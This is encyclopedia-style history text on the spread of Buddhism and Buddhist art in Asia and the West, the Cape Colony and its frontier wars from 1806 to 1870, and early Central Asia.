          From 710 CE numerous temples and monasteries were built in the capital city of Nara, such as the five-story pagoda and Golden Hall of the Hōryū-ji, or the Kōfuku-ji temple. Countless paintings and sculptures were made, often under governmental sponsorship. The creation of Japanese Buddhist art was especially rich between the 8th and 13th century during the periods of Nara, Heian, and Kamakura.


          From the 12th and 13th, a further development was Zen art, following the introduction of the faith by Dogen and Eisai upon their return from China. Zen art is mainly characterized by original paintings (such as sumi-e and the Enso) and poetry (especially haikus), striving to express the true essence of the world through impressionistic and unadorned "non-dualistic" representations. The search for enlightenment "in the moment" also led to the development of other important derivative arts such as the Chanoyu tea ceremony or the Ikebana art of flower arrangement. This evolution went as far as considering almost any human activity as an art with a strong spiritual and aesthetic content, first and foremost in those activities related to combat techniques ( martial arts).


          Buddhism remains very active in Japan to this day. Around 80,000 Buddhist temples are preserved and regularly restored.


          


          Southeast Asia
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          During the 1st century CE, the trade on the overland Silk Road tended to be restricted by the rise in the Middle-East of the Parthian empire, an unvanquished enemy of Rome, just as Romans were becoming extremely wealthy and their demand for Asian luxury was rising. This demand revived the sea connections between the Mediterranean and China, with India as the intermediary of choice. From that time, through trade connection, commercial settlements, and even political interventions, India started to strongly influence Southeast Asian countries. Trade routes linked India with southern Burma, central and southern Siam, lower Cambodia and southern Vietnam, and numerous urbanized coastal settlements were established there.


          For more than a thousand years, Indian influence was therefore the major factor that brought a certain level of cultural unity to the various countries of the region. The Pali and Sanskrit languages and the Indian script, together with Theravada and Mahayana Buddhism, Brahmanism, and Hinduism, were transmitted from direct contact and through sacred texts and Indian literature such as the Ramayana and the Mahabharata.


          From the 5th to the 13th century, South-East Asia had very powerful empires and became extremely active in Buddhist architectural and artistic creation. The main Buddhist influence now came directly by sea from the Indian subcontinent, so that these empires essentially followed the Mahayana faith. The Sri Vijaya Empire to the south and the Khmer Empire to the north competed for influence, and their art expressed the rich Mahayana pantheon of the Bodhisattvas.


          


          Vietnam


          


          Srivijayan Empire (5th15th century)
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          Srivijaya, a maritime empire centered at Palembang on the island of Sumatra in Indonesia, adopted Mahayana and Vajrayana Buddhism under a line of rulers named the Sailendras. Yijing described Palembang as a great centre of Buddhist learning where the emperor supported over a thousand monks at his court. Atisha studied there before travelling to Tibet as a missionary.


          Sriviijaya spread Buddhist art during its expansion in Southeast Asia. Numerous statues of Bodhisattvas from this period are characterized by a very strong refinement and technical sophistication, and are found throughout the region. Extremely rich architectural remains are visible at the temple of Borobudur (the largest Buddhist structure in the world, built from around 780 CE), in Java, which has 505 images of the seated Buddha. Srivijaya declined due to conflicts with the Chola rulers of India, before being destabilized by the Islamic expansion from the 13th century.


          


          Khmer Empire (9th13th century)


          Later, from the 9th to the 13th century, the Mahayana Buddhist and Hindu Khmer Empire dominated much of the South-East Asian peninsula. Under the Khmer, more than 900 temples were built in Cambodia and in neighboring Thailand. Angkor was at the centre of this development, with a temple complex and urban organization able to support around one million urban dwellers. One of the greatest Khmer kings, Jayavarman VII (11811219), built large Mahayana Buddhist structures at Bayon and Angkor Thom.


          Following the destruction of Buddhism in mainland India during the 11th century, Mahayana Buddhism declined in Southeast Asia, to be replaced by the introduction of Theravada Buddhism from Sri Lanka.


          


          Emergence of the Vajrayana (5th century)


          Vajrayāna Buddhism, also called Tantric Buddhism, first emerged in eastern India between the 5th and 7th centuries CE. It is sometimes considered a sub-school of Mahayana and sometimes a third major "vehicle" (Yana) of Buddhism in its own right. The Vajrayana is an extension of Mahayana Buddhism in that it does not offer new philosophical perspectives, but rather introduces additional techniques (upaya, or 'skilful means'), including the use of visualizations and other yogic practices. Many of the practices of Tantric Buddhism are common with Hindu tantricism (the usage of mantras, yoga, or the burning of sacrificial offerings). This school of thought was founded by Padmasambhava.


          Early Vajrayana practitioners were forest-dwelling mahasiddhas who lived on the margins of society, but by the 9th century Vajrayana had won acceptance at major Mahayana monastic universities such as Nalanda and Vikramashila. Along with much of the rest of Indian Buddhism, the Vajrayana was eclipsed in the wake of the late 12th century Muslim invasions. It has persisted in Tibet, where it was wholly transplanted from the 7th to 12th centuries and became the dominant form of Buddhism to the present day, and on a limited basis in Japan as well where it evolved into Shingon Buddhism.


          


          Theravada Renaissance (11th century CE )
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          From the 11th century, the destruction of Buddhism in the Indian mainland by Islamic invasions led to the decline of the Mahayana faith in South-East Asia. Continental routes through the Indian subcontinent being compromised, direct sea routes between the Middle-East through Sri Lanka and to China developed, leading to the adoption of the Theravada Buddhism of the Pali canon, introduced to the region around the 11th century CE from Sri Lanka.


          King Anawrahta (10441077); the historical founder of the Burmese empire, unified the country and adopted the Theravada Buddhist faith. This initiated the creation of thousands of Buddhist temples at Pagan, the capital, between the 11th and 13th century. Around 2,000 of them are still standing. The power of the Burmese waned with the rise of the Thai, and with the seizure of the capital Pagan by the Mongols in 1287, but Theravada Buddhism remained the main Burmese faith to this day.


          The Theravada faith was also adopted by the newly founded ethnic Thai kingdom of Sukhothai around 1260. Theravada Buddhism was further reinforced during the Ayutthaya period (14th18th century), becoming an integral part of the Thai society.


          In the continental areas, Theravada Buddhism continued to expand into Laos and Cambodia in the 13th century. However, from the 14th century, on the coastal fringes and in the islands of South-East Asia, the influence of Islam proved stronger, expanding into Malaysia, Indonesia, and most of the islands as far as the southern Philippines.


          However, since 1966 with Soeharto's rise of power in the aftermath of the bloody events after the so called "September 30th, 1965 murders", allegedly executed by the Communists Party, there has been a remarkable renaissance of Buddhism in Indonesia. This is partly due to the Soeharto's New Order's requirements for the people of Indonesia to adopt one of the five official religions: Islam, Protestantism, Catholicism, Hinduism or Buddhism. Today it is estimated there are some 10 millions Buddhists in Indonesia. A large part of them are people of Chinese ancestry.


          


          Expansion of Buddhism to the West
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          After the Classical encounters between Buddhism and the West recorded in Greco-Buddhist art, information and legends about Buddhism seem to have reached the West sporadically. An account of Buddha's life was translated in to Greek by John of Damascus, and widely circulated to Christians as the story of Barlaam and Josaphat. By the 1300s this story of Josaphat had become so popular that he was made a Catholic saint.


          The next direct encounter between Europeans and Buddhism happened in Medieval times when the Franciscan friar William of Rubruck was sent on an embassy to the Mongol court of Mongke by the French king Saint Louis in 1253. The contact happened in Cailac (today's Qayaliq in Kazakhstan), and William originally thought they were wayward Christians (Foltz, "Religions of the Silk Road").


          Major interest for Buddhism emerged during colonial times, when Western powers were in a position to witness the faith and its artistic manifestations in detail. European philosophy was strongly influenced by the study of oriental religions during that period.


          The opening of Japan in 1853 also created a considerable interest for the arts and culture of Japan, and provided access to one of the most thriving Buddhist cultures in the world.


          Buddhism started to enjoy a strong interest from the general population in the West following the turbulence of the 20th century.


          Buddhism has been displaying a strong power of attraction, due to its tolerance, its lack of deist authority and determinism, and its focus on understanding reality through self inquiry.
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          The history of Cape Colony from 1806 to 1870 spans the period of the history of Cape Colony during the Cape Frontier Wars, also called the Kaffir Wars, which lasted from 1811 to 1858. The wars were fought between the European colonists and the native Xhosa who rebelled against continuing European rule. The Cape Colony was the first European colony in South Africa, which was initially controlled by the Dutch but subsequently invaded and taken over by the British. After war broke out again, a British force was sent once more to the Cape. After a battle in January 1806 on the shores of Table Bay, the Dutch garrison of Cape Castle surrendered to the British under Sir David Baird, and in 1814 the colony was ceded outright by the Netherlands to the British crown. At that time the colony extended to the mountains in front of the vast central plateau, then called "Bushmansland", and had an area of about 194,000 square kilometres and a population of some 60,000, of whom 27,000 were white, 17,000 free Khoikhoi (Hottentots), and the rest slaves. These slaves were mostly imported black people and Malays.


          


          First and second frontier wars


          The first of several wars with the Xhosa had already been fought by the time that the Cape Colony had been ceded to the United Kingdom. The Xhosa that crossed the colonial frontier had been expelled from the district between the Sundays River and Great Fish River known as the Zuurveld, which became a neutral ground of sorts. For some time before 1811, the Xhosa had taken possession of the neutral ground and attacked the colonists. In order to expel them from the Zuurveld, Colonel John Graham took the area with a mixed-race army in December of 1811, and finally the Xhosa were driven beyond the Fish River. On the site of Colonel Grahams headquarters arose a town bearing his name: Graham's Town, subsequently becoming Grahamstown.


          A difficulty between the Cape Colony government and the Xhosa arose in 1817, the immediate cause of which was an attempt by the colonial authorities to enforce the restitution of some stolen cattle. On 22 April 1817, led by a prophet-chief named Makana, they attacked Grahams Town, then held by a handful of white troops. Help arrived in time and the enemy were beaten back. It was then agreed that the land between the Fish and the Keiskamma rivers should be neutral territory.


          [bookmark: 1820_settlers]


          1820 settlers


          The war of 181719 led to the first wave of immigration of English settlers of any considerable scale, an event with far-reaching consequences. The then governor, Lord Charles Somerset, whose treaty arrangements with the Xhosa chiefs had proved untenable, desired to erect a barrier against the Xhosa by having white colonists settle in the border region. In 1820, upon the advice of Lord Somerset, parliament voted to spend 50,000 to promote migration to the Cape, prompting 4,000 British people to emigrate. These immigrants, who are now known as the 1820 Settlers, formed the Albany settlement, later Port Elizabeth, and made Grahamstown their headquarters. Intended primarily as a measure to secure the safety of the frontier, and regarded by the British government chiefly as a way of finding employment for a few thousand of the unemployed in Britain. Yet, the emigration scheme accomplished something with more far reaching implications than its authors had intended. The new settlers, drawn from every part of the British Isles and from almost every grade of society, retained strong loyalty to Britain. In the course of time, they formed a counterpoint to the Dutch colonists.


          The arrival of these immigrants also introduced the English language to the Cape. English language ordinances were issued for the first time in 1825, and in 1827 its use was extended to the conduct of judicial proceedings. Dutch was not, however, ousted, and the colonists became largely bilingual.


          


          Dutch hostility to British rule


          Although the colony was prosperous, many Dutch farmers were as dissatisfied with British rule as they had been with that of the Dutch East India Company, though their grievances were not the same. In 1792, Moravian missions had been established for the benefit of the Khoikhoi, and in 1799 the London Missionary Society began to try to convert both the Khoikhoi and the Xhosa. The championship of Khoikhoi grievances by the missionaries caused much dissatisfaction among the majority of the colonists, whose conservative views temporarily prevailed, for in 1812 an ordinance was issued which gave magistrates the power to bind Khoikhoi children as apprentices under conditions little different from those of slavery. In the meantime, the movement for the abolition of slavery was gaining strength in England, and the missionaries appealed at length, from the colonists to Britain.


          An incident, which occurred from 1815 to 1816, did much to make the Dutch frontiersmen permanently hostile to the British. A farmer named Bezuidenhout refused to obey a summons issued to him after a complaint from Khoikhoi was registered. He fired on the party sent to arrest him, and was killed by the return fire. This caused a miniature rebellion, and in its suppression five ringleaders were publicly hanged by the British at Slagter's Nek where they had originally sworn to expel "the English tyrants." The resentment caused by the hanging of these men was deepened by the circumstances of the execution, for the scaffold on which the rebels simultaneously were hanged broke from their united weight and the men were hanged one by one afterwards. The deeply religious Dutch frontiersmen believed the collapsing scaffold to be an act of God. An ordinance passed in 1827 abolished the old Dutch " landdrost" and "heemraden" courts, instead substituting resident magistrates. The ordinance further stipulated that all legal proceedings be henceforth conducted in English.


          A subsequent ordinance in 1828 granted equal rights to the Khoikhoi and other free coloured people with white people as a result of the championing of the missionaries. Another ordinance in 1830 imposed heavy penalties for harsh treatment of slaves, and finally the emancipation of slaves was proclaimed in 1834. Each of these ordinances drew further ire from the farmers towards the government. Moreover, the inadequate compensation awarded to slave-owners, and the suspicions engendered by the method of payment, caused much resentment, and in 1835 the trend where farmers trekked into unknown country in order to escape from a disliked government recommenced. Emigration beyond the colonial border had in fact been continuous for 150 years, but it now took on larger proportions.


          


          Third cape frontier war


          On the eastern border, further trouble arose between the government and the Xhosa, towards whom the policy of the Cape government was marked by much vacillation. On 11 December 1834, a commando party killed a chief of high rank, incensing the Xhosa: an army of 10,000 men, led by Macomo, a brother of the chief who had been killed, swept across the frontier, pillaged and burned the homesteads and killed all who resisted. Among the worst sufferers was a colony of freed Khoikhoi who, in 1829, had been settled in the Kat River valley by the British authorities. There were few available soldiers in the colony, but the governor, Sir Benjamin d'Urban acted quickly and all available forces were mustered under Colonel Sir Harry Smith, who reached Grahams Town on 6 January 1835, six days after news of the uprising had reached Cape Town. The British fought the Xhosa for nine months until hostilities were ended on 17 September 1838 with the signing of a new peace treaty, by which all the country as far as the River Kei was acknowledged to be British, and its inhabitants declared British subjects. A site for the seat of government was selected and named King Williams Town.


          


          Great Trek
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          The British government did not approve of the actions of Sir Benjamin d'Urban, and the British Secretary for the Colonies, Lord Glenelg, declared in a letter to the King that "the great evil of the Cape Colony consists in its magnitude" and demanded that the boundary be moved back to the Fish River. He also eventually had d'Urban dismissed from office in 1837. "The Kaffirs," in Lord Glenelg's dispatch of 26 December, "had an ample justification for war; they had to resent, and endeavoured justly, though impotently, to avenge a series of encroachments. This attitude towards the Xhosa was one of the many reasons given by the Trek Boers for leaving the Cape Colony. The Great Trek, as it is called, lasted from 1836 to 1840. The trekkers, numbering around 7,000, founded communities with a republican form of government beyond the Orange and Vaal rivers, and in Natal, where they had been preceded, however, by British emigrants. From this time on Cape Colony ceased to be the only European community in South Africa, though it was the most predominant for many years.


          Considerable trouble was caused by the emigrant Boers on either side of the Orange River, where the Boers, the Basutos, other native tribes, Bushmen, and Griquas fought for superiority, while the Cape government endeavoured to protect the rights of the natives. On the advice of the missionaries, who exercised great influence on all non-Dutch people, a number of the native states were recognised and subsidised by the Cape government with the objective of creating peace on the northern frontier. The first "Treaty States" to be recognised was Griqualand West of the Griqua people. Subsequent states were recognised between 1843 and 1844. While the northern frontier became more secure, the state of the eastern frontier was deplorable, with the government either unable or unwilling to protect farmers from the Xhosa.


          Elsewhere, however, the colony was making progress. The change from slave to free labour proved to be advantageous to the farmers in the western provinces. An efficient education system, owing its inception to Sir John Herschel, an astronomer who lived in Cape Colony from 1834 to 1838, was adopted. Road Boards were established and proved to be very effective in constructing new roads. A new stable industry, sheepraising, was added to the original set of wheatgrowing, cattle rearing, and wine making. By 1846 wool became the country's most valuable export. A legislative council was established in 1835, giving the colonists a share in the government.


          


          War of the Axe


          Another war with the Xhosa, known as the War of the Axe, broke out in 1846, when a Khoikhoi escort that had been manacled to a Xhosa thief was murdered while transporting the man to Grahams Town to be tried for stealing an axe. A party of Xhosa attacked and killed the escort. The surrender of the murderer was refused, and war was declared in March of 1846. The Ngqikas were the chief tribe engaged in the war, assisted by the Tambukies. The Xhosa were defeated on 7 June 1846 by General Somerset on the Gwangu, a few miles from Fort Peddie. However, the war continued until Sandili, the chief of the Ngqika, surrendered. Other chiefs gradually followed this action, and by the beginning of 1848 the Xhosa had been completely subdued after twenty-one months of fighting.


          


          Extension of British sovereignty
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          In December of 1847, or what was to be the last month of the War of the Axe, Sir Harry Smith reached Cape Town by boat to become the new governor of the colony. He reversed Glenelg's policy soon after arrival. A proclamation he issued on 17 December, 1847, extended the borders of the colony northwards to the Orange river and eastward to the Keiskamma river, and at a meeting of the Xhosa chiefs on 23 December, 1847, Sir Harry announced the annexation of the land between the Keiskamma and the Kei rivers to the British crown, thus re-absorbing the territory abandoned by Lord Glenelg. The land was not, however, incorporated into the Cape Colony, but instead made a crown dependency under the name of British Kaffraria. For a time the Xhosa accepted the new government in British Kaifaria since they were mainly left alone as the governor had other serious matters to contend with, including the assertion of British authority over the Boers beyond the Orange river, and the establishment of amicable relations with the Transvaal Boers.


          


          convict agitation and granting of a constitution


          A crisis arose in the colony over a proposal to make the Cape Colony a convict station. A circular written in 1848 by the third Earl Grey, then colonial secretary was sent to the governor of the Cape, as well as other colonial governors, asking them to ascertain the feelings of the colonists regarding the reception of a certain class of convicts. The Earl intended to send Irish peasants who had been driven to crime by the famine of 1845 to South Africa. Due to a misunderstanding, a boat named the Neptune was sent to the Cape Colony before the colonists' opinion had been received. The boat had 289 convicts on board, among whom was the famous Irish rebel John Mitchel, and his colleagues. When the news that this vessel was on her way reached the Cape, people became violently excited and established an anti-convict association whose members bound themselves to cease from all interaction of any kind with persons in any way associated "with the landing, supplying or employing convicts". Sir Harry Smith, confronted with violent public agitation, agreed not to allow the convicts to land when the Neptune arrived in Simon's Bay on 19 September 1849, but to keep them on board the ship until he received orders to send them elsewhere. When the home government became aware of the state of affairs, orders were sent directing the Neptune to proceed to Tasmania, and it did so after staying in Simons Bay for five months. The agitation did not fade away without further achievements, as it led to another movement that intended to obtain a free, representative government for the colony. The British government granted this concession, which had been previously promised by Lord Grey, and a constitution was established in 1854 of almost unprecedented liberality.


          


          Eighth frontier war of 1850-1853


          The anti-convict move had scarcely ended when the colony was once again involved in a war. The Xhosa bitterly resented their loss of independence, and had secretly prepared to renew their struggle ever since the last war. Sir Harry Smith, informed of the increasingly threatening attitude of the natives, went to the border region and summoned Sandili and the other chiefs for a meeting. Sandili refused obedience, after which the governor declared him deposed from his chieftanship at an assembly of other chiefs in October of 1850, and appointed an English magistrate named Mr Brownlee to be temporary chief of the Ngqika tribe. It seems that the governor believed that he would be able to prevent a war and that Sandili could be arrested without armed resistance. Colonel George Mackinnon, who had been sent out with a small army with the goal of securing the chief, was attacked on 24 December, 1850, in a narrow gorge by a large number of Xhosa, and compelled to retreat after some loss of men. This small battle prompted a general rising among the whole Ngqika tribe. Settlers in military villages that had been established along the border, were caught in a surprise attack after they had gathered to celebrate Christmas day. Many of them were killed, and their houses set on fire.


          Other setbacks followed in quick succession. The greater part of the Xhosa police deserted, many of them leaving with their arms. Emboldened by their initial success, the Xhosa surrounded and attacked Fort Cox with immense force, where the governor was stationed with a small number of soldiers. More than one unsuccessful attempt was made to kill Sir Harry, and he needed to find a way to escape. At the head of 150 mounted riflemen, accompanied by Colonel Mackinnon, he galloped out of the fort, and rode to King Williams Town through heavy enemy fire  a distance of 12 miles (19 km).


          Meanwhile a new enemy appeared. Some 900 of the Kat river Khoikhoi, who had in former wars been firm allies of the British, joined their former enemies: the Xhosa. They were not without justification. They complained that while serving as soldiers in former wars  the Cape Mounted Rifles consisted largely of Khoikhois  they had not received the same treatment as others serving in defence of the colony, that they got no compensation for the losses they had sustained, and that they were in various ways made to feel they were a wronged and injured race. A secret alliance was formed with the Xhosa to take up arms in order to remove the Europeans and establish a Khoikhoi republic. Within a fortnight of the attack on Colonel Mackinnon the Kat river Khoikhoi were also in arms. Their revolt was followed by that of the Khoikhoi at other missionary stations; and some of the Khoikhoi of the Cape Mounted Rifles followed their example, including some of the very men who had escorted the governor from Fort Cox. But many of the Khoikhoi remained loyal and the Fingo likewise sided with the British.


          After the confusion caused by the surprise attack had subsided, Sir Harry Smith and his force turned the tide of war against the Xhosa. The Amatola Mountains were stormed, and Sarhili, the highest ranking chief, who had been secretly assisting the Ngqika all along, was severely punished. In April 1852 Sir Harry Smith was recalled by Earl Grey, who accused him  unjustly, in the opinion of the duke of Wellington  of a want of energy and judgement in conducting the war, and he was succeeded by Lieutenant-General Cathcart. Sarhili was again attacked and reduced to submission. The Amatolas were finally cleared of Xhosa, and small forts were erected to prevent their reoccupation.


          The British commanders were hampered throughout by their insufficient equipment, and it was not until March 1853 that the largest of the Frontier wars was brought to an end after the loss several hundred British soldiers. Shortly afterwards, British Kaffraria was made a crown colony. The Khoikhoi settlement at Kat River remained, but the Khoikhoi power within the colony was crushed.


          


          Xhosa cattle-killing movement and famine


          The Xhosa tribes gave the colony few problems after the war. This was due, in large measure, to an extraordinary delusion which arose among the Xhosa in 1856, and led in 1857 to the death of some 50,000 people. This incident is one of the most remarkable instances of misplaced faith recorded in history. The Xhosa had not accepted their defeat in 1853 as decisive and were preparing to renew their struggle with the Europeans.


          In 1854, a disease spread through the cattle of the Xhosa. It was believed to have spread from cattle owned by the Settlers. Widespread cattle deaths resulted, and the Xhosa believed that the deaths were caused by ubuthi, or witchcraft. In May 1856, a girl named Nongqawuse went to fetch water from a pool near the mouth of the Gxarha River. When she returned, she told her uncle Mhlakaza that she had met three spirits at the pool, and that they had told her that all cattle should be slaughtered, and their crops destroyed. On the day following the destruction, the dead Xhosa would return and help expel the whites. The ancestors would bring cattle with them to replace those that had been killed. Mhlakaza believed the prophecy, and repeated it to the chief Sarhili.


          Sarhili ordered the commands of the spirits to be obeyed. At first, the Xhosa were ordered to destroy their fat cattle. Nongqawuse, standing in the river where the spirits had first appeared, heard unearthly noises, interpreted by her uncle as orders to kill more and more cattle. At length the spirits commanded that not an animal of all their herds was to remain alive, and every grain of corn was to be destroyed. If that were done, on a given date, myriads of cattle more beautiful than those destroyed would issue from the earth, while great fields of corn, ripe and ready for harvest, would instantly appear. The dead would rise, trouble and sickness vanish, and youth and beauty come to all alike. Unbelievers and the hated white man would on that day perish.


          The people heard and obeyed. Sarhili is believed by many people to have been the instigator of the prophecies. Certainly some of the principal chiefs believed that they were acting simply in preparation for a last struggle with the Europeans, their plan being to throw the whole Xhosa nation fully armed and famished upon the colony. Belief in the prophecy was bolstered by the death of Lieutenant-General Cathcart in the Crimean War in 1854. His death was interpreted as being due to intervention by the ancestors.


          There were those who neither believed the predictions nor looked for success in war, but destroyed their last particle of food in unquestioning obedience to their chiefs command. Either in faith that reached the sublime, or in obedience equally great, vast numbers of the people acted. Great kraals were also prepared for the promised cattle, and huge skin sacks to hold the milk that was soon to be more plentiful than water. At length the day dawned which, according to the prophecies, was to usher in the terrestrial paradise. The sun rose and sank, but the expected miracle did not come to pass. The chiefs who had planned to hurl the famished warriors upon the colony had committed an incredible blunder in neglecting to call the nation together under pretext of witnessing the resurrection. They realised their error too late, and attempted to fix the situation by changing the resurrection to another day, but blank despair had taken the place of hope and faith, and it was only as starving supplicants that the Xhosa sought the British.


          According to the War of the Axe, the colonists did what they could to save life, but thousands perished miserably. In their extreme famine many of the Xhosa turned to cannibalism, and one instance of parents eating their own child is authenticated. Among the survivors was the girl Nongqawuse, however her uncle perished. A vivid narrative of the whole incident is found in G. M. Theals History and Geography of South Africa (3rd edition, London, 1878). The depopulated country was afterwards peopled by European settlers, among whom were members of the German legion which had served with the British army in the Crimea, and some, 2000 industrious North German emigrants, who proved a valuable acquisition to the colony.


          Historians now view this movement as a millennialist response both directly to a lung disease spreading among Xhosa cattle at the time, and less directly to the stress to Xhosa society caused by the continuing loss of their territory and autonomy. At least one historian has also suggested that it can be seen as a rebellion against the upper classes of Xhosa society, which used cattle as a means of consolidating wealth and political power, and which had lost respect as they failed to hold back white expansion.


          


          Sir George Greys governorship


          
            Image:SirGeorgeGrey.jpg

            
              Sir George Grey
            

          


          Sir George Grey became governor of the Cape Colony in 1854, and the development of the colony owes much to his administration. In his opinion, policy imposed upon the colony by the home government's policy of not governing beyond the Orange River was mistaken, and in 1858 he proposed a scheme for a confederation that would include all of South Africa, however it was rejected by Britain. Sir George kept open a British road through Bechuanaland to the far interior, gaining the support of the missionaries Moffat and David Livingstone. Sir George also attempted for the first time, missionary effort apart, to educate the Xhosa and to firmly establish British authority among them, which the self-destruction of the Xhosa rendered easy. Beyond the Kei River, the natives were left to their own devices.


          Sir George Grey left the Cape in 1861. During his governorship the resources of the colony had increased with the opening of the copper mines in Little Namaqualand, the mohair wool industry had been established and Natal made a separate colony. The opening, in November 1863, of the railway from Cape Town to Wellington, and the construction in 1860 of the great breakwater in Table Bay, long needed on that perilous coast, marked the beginning in the colony of public works on a large scale. They were the more-or-less direct result of the granting to the colony of a large share in its own government.


          The province of British Kaffraria was incorporated into the colony in 1865, under the title of the Electoral Divisions of King Williams Town and East London. The transfer was marked by the removal of the prohibition of the sale of alcoholic beverages to the natives, and the free trade in intoxicants which followed had most deplorable results among the Xhosa tribes. A severe drought, affecting almost the entire colony for several years, caused great economic depression, and many farmers suffered severely. It was at this period in 1869 that ostrich-farming was successfully established as a separate industry.


          Whether by or against the wish of the home government, the limits of British authority continued to extend. The Basotho, who dwelt in the upper valleys of the Orange River, had subsisted under a semi-protectorate of the British government from 1843 to 1854; but having been left to their own resources on the abandonment of the Orange sovereignty, they fell into a long exhaustive warfare with the Boers of the Orange Free State. On the urgent petition of their chief Moshesh, they were proclaimed British subjects in 1868, and their territory became part of the Cape Colony in 1871 (see Basutoland). In the same year, the southeastern part of Bechuanaland was annexed to Britain under the title of Griqualand West. This annexation was a consequence of the discovery there of rich diamond mines, an event which was destined to have far-reaching results.
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          The history of Central Asia has been determined primarily by the area's climate and geography. The aridity of the region makes agriculture difficult, and its distance from the sea cut it off from much trade. Thus, few major cities developed in the region. Nomadic horse peoples of the steppe dominated the area for millennia.


          Relations between the steppe nomads and the settled people in and around Central Asia were marked by conflict. The nomadic lifestyle was well suited to warfare, and the steppe horse riders became some of the most militarily potent people in the world, due to the devastating techniques and ability of their horse archers. Periodically, tribal leaders or changing conditions would organize several tribes into a single military force. Many of these tribal coalitions included the Huns' invasion of Europe, Turkic migrations into Transoxiana, the Wu Hu attacks on China and most notably the Mongol conquest of much of Eurasia.


          The dominance of the nomads ended in the 16th century as firearms allowed settled people to gain control of the region. The Russian Empire, the Qing Dynasty of China, and other powers expanded into the area and seized the bulk of Central Asia by the end of the 19th century. After the Russian Revolution of 1917, the Soviet Union incorporated most of Central Asia; only Mongolia and Afghanistan remained nominally independent, although Mongolia existed as a Soviet satellite state and Soviet troops invaded Afghanistan in the late 20th century. The Soviet areas of Central Asia saw much industrialisation and construction of infrastructure, but also the suppression of local cultures and a lasting legacy of ethnic tensions and environmental problems.


          With the collapse of the Soviet Union in 1991, five Central Asian countries gained independence. In all of the new states, former Communist party officials retained power as local strongmen.


          


          Prehistory


          Recent genetic studies have concluded that humans arrived in the region 40,000 to 50,000 years ago, making the region one of the oldest known sites of human habitation. The archaeological evidence of population in this region is sparse, whereas evidence of human habitation in Africa and Australia prior to that of Central Asia is well-known. Some studies have also identified this region as the likeliest source of the populations who later inhabited Europe, Siberia, and North America. The region is also often considered to be the source of the root of the Indo-European languages.


          As early as 4500 BCE, small communities had developed permaneant settlements and began to engage in agricultural practices as well as herding. Around this time, some of these communities began the domestication of the horse. Initially, the horses were bred solely for their meat, as a source of food. However, by 4000 BCE it is believed that they were used for transportation purposes; wheeled wagons began making an appearance during this time. Once the utility of the horse as a means of transportation became clear the horses (actually ponies) began being bred for strength, and by the 3rd millennium BCE they were strong enough to pull chariots. By 2000 BCE, war chariots had spoked wheels, thus being made more manoeuverable, and dominated the battlefields. The growing use of the horse, combined with the failure, roughly around 2000 BCE, of the always precarious irrigation systems that had allowed for extensive agriculture in the region, gave rise and dominance of pastoral nomadism by 1000 BCE, a way of life that would dominate the region for the next several millennia.
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          Scattered nomadic groups maintained herds of sheep, goats, horses, and camels, and conducted annual migrations to find new pastures (a practice known as transhumance). The people lived in yurts (or gers) - tents made of hides and wood that could be disassembled and transported. Each group had several yurts, each accommodating about five people.


          While the semi-arid plains were dominated by the nomads, small city-states and sedentary agrarian societies arose in the more humid areas of Central Asia. The Bactria-Margiana Archaeological Complex of the early 2nd millennium BCE was the first sedentary civilization of the region, practicing irrigation farming of wheat and barley and possibly a form of writing. Bactria-Margiana probably interacted with the contemporary Bronze Age nomads of the Andronovo culture, the originators of the spoke-wheeled chariot, who lived to their north in western Siberia, Russia, and parts of Kazakhstan, and survived as a culture until the 1st millennium BCE. These cultures, particularly Bactria-Margiana, have been posited as possible representatives of the hypothetical Aryan culture ancestral to the speakers of the Indo-Iranian languages (see Indo-Iranians), and possibly the Uralic and Altaic cultures as well.


          Later the strongest of Sogdian city states of the Fergana Valley rose to prominence. After the 1st century BCE, these cities became home to the traders of the Silk Road and grew wealthy from this trade. The steppe nomads were dependent on these settled people for a wide array of goods that were impossible for transient populations to produce. The nomads traded for these when they could, but because they generally did not produce goods of interest to sedentary people, the popular alternative was to carry out raids.


          A wide variety of people came to populate the steppes. Nomadic groups in Central Asia included the Huns and other Turks, the Tocharians, Persians, Scythians and other Indo-Europeans, and a number of Mongol groups. Despite these ethnic and linguistic differences, the steppe lifestyle led to the adoption of very similar culture across the region.


          


          External influences
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          In the 2nd and 1st millennia BCE, a series of large and powerful states developed on the southern periphery of Central Asia (the Ancient Near East). These empires launched several attempts to conquer the steppe people, but met with only mixed success. The Median Empire and Achaemenid Empire both ruled parts of Central Asia. Xiongnu Empire maybe seen as the first central Asian empire which set an example for later Tujue and Mongol empire. Following the success of Sino-Xiongnu War, Chinese states would also regularly strive to extend their power westwards. Despite their military might, these states found it difficult to conquer the whole region. When faced by a stronger force, the nomads could simply retreat deep into the steppe and wait for the invaders to leave. With no cities and little wealth other than the herds they brought with them the nomads had nothing they could be forced to defend. An example of this is given by Herodotus's detailed account of the futile Persian campaigns against the Scythians. The Scythians, like most nomad empires, had permanent settlements of various sizes, representing various degrees of civilization. The vast fortified settlement of Kamenka on the Dnieper River, settled since the end of the 5th century BC, became the centre of the Scythian kingdom ruled by Ateas, who lost his life in a battle against Philip II of Macedon in 339 BC.
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          Some empires, such as the Persian and Macedonian empires, did make deep inroads into Central Asia by founding cities and gaining control of the trading centres. Alexander the Great's conquests spread Hellenistic civilization all the way to Alexandria Eschate (Lit. Alexandria the Furthest), established in 329 BCE in modern Tajikistan. After Alexander's death in 323 BCE, his Central Asian territory fell to the Seleucid Empire during the Wars of the Diadochi. In 250 BCE, the Central Asian portion of the empire ( Bactria) seceded as the Greco-Bactrian Kingdom, which had extensive contacts with India and China till its end in 125 BCE. The Indo-Greek Kingdom, mostly based in the Punjab but controlling a fair part of Afghanistan, pioneered the development of Greco-Buddhism. The Kushan Kingdom thrived across a wide swath of the region from the Second Century BCE to the Fourth Century AD, and continued Hellenistic and Buddhist traditions. These states prospered from their position on the Silk Road linking China and Europe. Later, external powers such as Sassanid Empire would come to dominate this trade.


          One of those powers, the Parthian Empire was of Central Asian origin, but adopted Persian cultural traditions. This is an early example of a recurring theme of Central Asian history: occasionally nomads of Central Asian origin would conquer the kingdoms and empires surrounding the region, but quickly merge into the culture of their conquered peoples.


          At this time Central Asia was a heterogeneous region with a mixture of cultures and religions. Buddhism remained the largest religion, but was concentrated in the east. Around Persia, Zoroastrianism became important. Nestorian Christianity entered the area, but was never more than a minority faith. More successful was Manichaeism, which became the third largest faith. Many Central Asians practiced more than one faith, and almost all of the local religions were infused with local shamanistic traditions.


